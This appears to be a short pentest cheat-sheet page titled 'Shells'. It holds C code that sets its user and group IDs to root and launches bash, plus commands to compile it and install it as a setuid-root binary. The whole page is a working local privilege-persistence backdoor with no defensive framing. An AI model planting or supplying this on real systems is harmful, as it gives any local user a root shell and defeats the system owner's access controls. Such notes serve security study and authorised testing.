Shells
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}gcc -o root_shell root_shell.csudo chmod +x root_shell
sudo chmod 4755 root_shellLast updated